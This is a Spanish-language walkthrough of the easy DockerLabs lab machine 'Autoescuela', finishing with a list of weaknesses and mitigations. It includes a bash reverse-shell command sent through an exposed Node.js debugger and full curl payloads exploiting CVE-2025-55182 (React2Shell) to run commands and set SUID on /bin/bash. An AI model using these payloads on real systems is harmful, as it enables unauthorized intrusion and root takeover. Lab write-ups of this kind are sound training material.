Ir al contenido

Autoescuela

Este documento presenta la resolución completa de la máquina Autoescuela, diseñada por mikisbd para la plataforma DockerLabs y clasificada como fácil.

El objetivo es ofrecer un análisis claro, ordenado y técnicamente fundamentado, que incluya:

  • Identificación de vectores de entrada.
  • Explotación mediante el depurador de Node.js expuesto.
  • Obtención de ejecución remota de comandos (RCE) y reverse shell.
  • Escalada de privilegios mediante el abuso de un servidor interno vulnerable (CVE-2025-55182).

La metodología empleada se articula en tres fases principales:

  1. Reconocimiento: detección de puertos y análisis de servicios web.
  2. Explotación: abuso del depurador de Node.js para obtener RCE y acceso inicial.
  3. Escalada de privilegios: explotación de un servidor interno en localhost con una vulnerabilidad crítica hasta obtener root.

Todas las pruebas se realizaron en el entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreAutoescuela
Autormikisbd
DificultadFácil
Fecha5/04/2026
PlataformaDockerLabs

Descomprimir la máquina:

Ventana de terminal
unzip Autoescuela.zip

Arrancar el contenedor:

Ventana de terminal
sudo bash auto_deploy.sh Autoescuela.tar

El script de despliegue devuelve la IP interna que utilizaremos durante el análisis:

IP asignada


Mantener un árbol de trabajo ordenado facilita documentar y reproducir cada fase:

Ventana de terminal
mkdir -p Autoescuela/{content,exploits,nmap,gobuster,scripts}
cd Autoescuela

Se realiza un escaneo completo de puertos TCP abiertos para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 8080/tcp — HTTP
  • 9229/tcp — HTTP

Puertos abiertos

Se empleó un escaneo de directorios con Feroxbuster para localizar recursos y rutas interesantes:

Ventana de terminal
feroxbuster -u "http://172.17.0.2:8080/" \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-t 100 -e js,php,txt,html -C 404

Resultados relevantes:

  • Index: página de una escuela de manejo. content of index

Realmente no se encontró nada relevante.


Al parecer, este puerto también correspondía a un servicio HTTP, ya que a primera vista aparecía el mensaje:

WebSockets request was expected

Investigando un poco, descubrí que este puerto se utiliza para el depurador de Node.js. Para comprobarlo, intentamos acceder al endpoint /json, obteniendo lo siguiente:

json node debugger

Esto confirmó que el servicio era el inspector de Node.js, accesible de forma remota.


Tras el descubrimiento, tenemos un punto de explotación claro: inyectar comandos a través del depurador. Para ello, abrimos chrome-devtools escribiendo en un navegador basado en Chromium chrome://inspect, luego hacemos clic en “Configure…” y agregamos la dirección 172.17.0.2:9229. Aparecerá el objetivo remoto. Hacemos clic en “inspect” y obtendremos una consola Node.js completa en el servidor remoto.

Primero necesitamos comprobar la funcionalidad de la consola y que efectivamente esté utilizando el servidor remoto. Escribimos:

process.cwd()
require('os').hostname()

y observamos los resultados: recon debug tools

Ahora necesitamos crear una función que nos permita ejecutar comandos del sistema y ver la respuesta:

// Función para ejecutar comandos y ver resultado
function run(cmd) {
const { execSync } = require('child_process');
return execSync(cmd).toString();
}

Para testear la función escribimos run('id'); y vemos el resultado: id result in dev tools

Con esto ya tenemos RCE. Ahora necesitamos entablar una reverse shell. Primero activamos el listener en nuestra máquina local:

Ventana de terminal
nc -nlvp 443

Y en las DevTools escribimos:

run('bash -c "bash -i >& /dev/tcp/172.17.0.1/443 0>&1"');

Listo, estamos conectados a la máquina a través de una reverse shell. Solo necesitamos normalizar la terminal: revershell connect


Buscando entre las formas más comunes de escalar privilegios, no encontramos nada útil. Sin embargo, al revisar los archivos del sistema identificamos un archivo llamado entrypoint.sh que contenía información muy valiosa: important hint

Este nos da varios puntos clave:

  • Hay un servidor interno en localhost:3000 corriendo como root.
  • Dicho servidor tiene la vulnerabilidad CVE-2025-55182 (React2Shell).

Intentando crear archivos, nos damos cuenta de que la máquina no tiene un editor de texto, lo que dificulta la creación de PoCs, ya que tendremos que explotar la vulnerabilidad únicamente con curl. Lo primero que hacemos es comprobar la vulnerabilidad con esta petición:

Ventana de terminal
curl -X POST http://127.0.0.1:3000 \
-H "Next-Action: x" \
-F '0={"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"var res = process.mainModule.require('\''child_process'\'').execSync('\''id'\'',{'\''timeout'\'':5000}).toString().trim(); throw Object.assign(new Error('\''NEXT_REDIRECT'\''), {digest:`${res}`});","_formData":{"get":"$1:constructor:constructor"}}}' \
-F '1="$@0"'

Obtenemos resultados: id react2shell

Ahora le daremos permiso SUID a /bin/bash:

Ventana de terminal
curl -X POST http://127.0.0.1:3000 \
-H "Next-Action: x" \
-F '0={"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"process.mainModule.require('\''child_process'\'').execSync('\''chmod u+s /bin/bash'\'');","_formData":{"get":"$1:constructor:constructor"}}}' \
-F '1="$@0"'

Para verificar que funcionó, ejecutamos bash -p y observamos resultados satisfactorios, obteniendo una consola con permisos de administración: whoami root


  1. Exposición del depurador de Node.js en un puerto accesible públicamente (9229). Esto permite a un atacante conectarse al inspector y ejecutar código arbitrario en el servidor sin autenticación.
  2. Servicio interno crítico (puerto 3000) vulnerable a CVE-2025-55182 (React2Shell). Aunque solo era accesible desde localhost, un atacante con acceso inicial puede explotarlo para escalar privilegios hasta root.
  3. Falta de saneamiento en el entrypoint.sh: el script dejaba pistas claras sobre la existencia del servidor vulnerable y su ejecución como root.
  4. Ausencia de herramientas básicas como editores de texto, lo que dificulta la respuesta a incidentes, pero no impide la explotación mediante herramientas como curl.
  5. Falta de restricciones en la ejecución de comandos desde el depurador de Node.js, permitiendo RCE completo sin ningún control.

  1. No exponer el depurador de Node.js en producción. Si es necesario para diagnóstico, debe estar en una red aislada o protegido por autenticación y firewall.
  2. Actualizar inmediatamente cualquier instancia de React/Next.js que pueda verse afectada por la CVE-2025-55182. Aplicar parches de seguridad.
  3. Eliminar información sensible de scripts de inicio (entrypoint.sh) o cualquier otro archivo accesible por el usuario del servicio.
  4. Implementar un principio de mínimo privilegio: el servidor interno del puerto 3000 no debería ejecutarse como root si no es estrictamente necesario.
  5. Usar sistemas de detección de intrusiones (IDS/IPS) y monitorizar el tráfico anómalo hacia puertos de depuración.
  6. Realizar auditorías periódicas de los contenedores y las imágenes base para detectar configuraciones inseguras.